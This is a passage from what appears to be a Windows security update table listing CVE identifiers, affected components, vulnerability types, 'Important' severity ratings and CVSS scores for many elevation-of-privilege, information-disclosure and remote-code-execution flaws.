Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  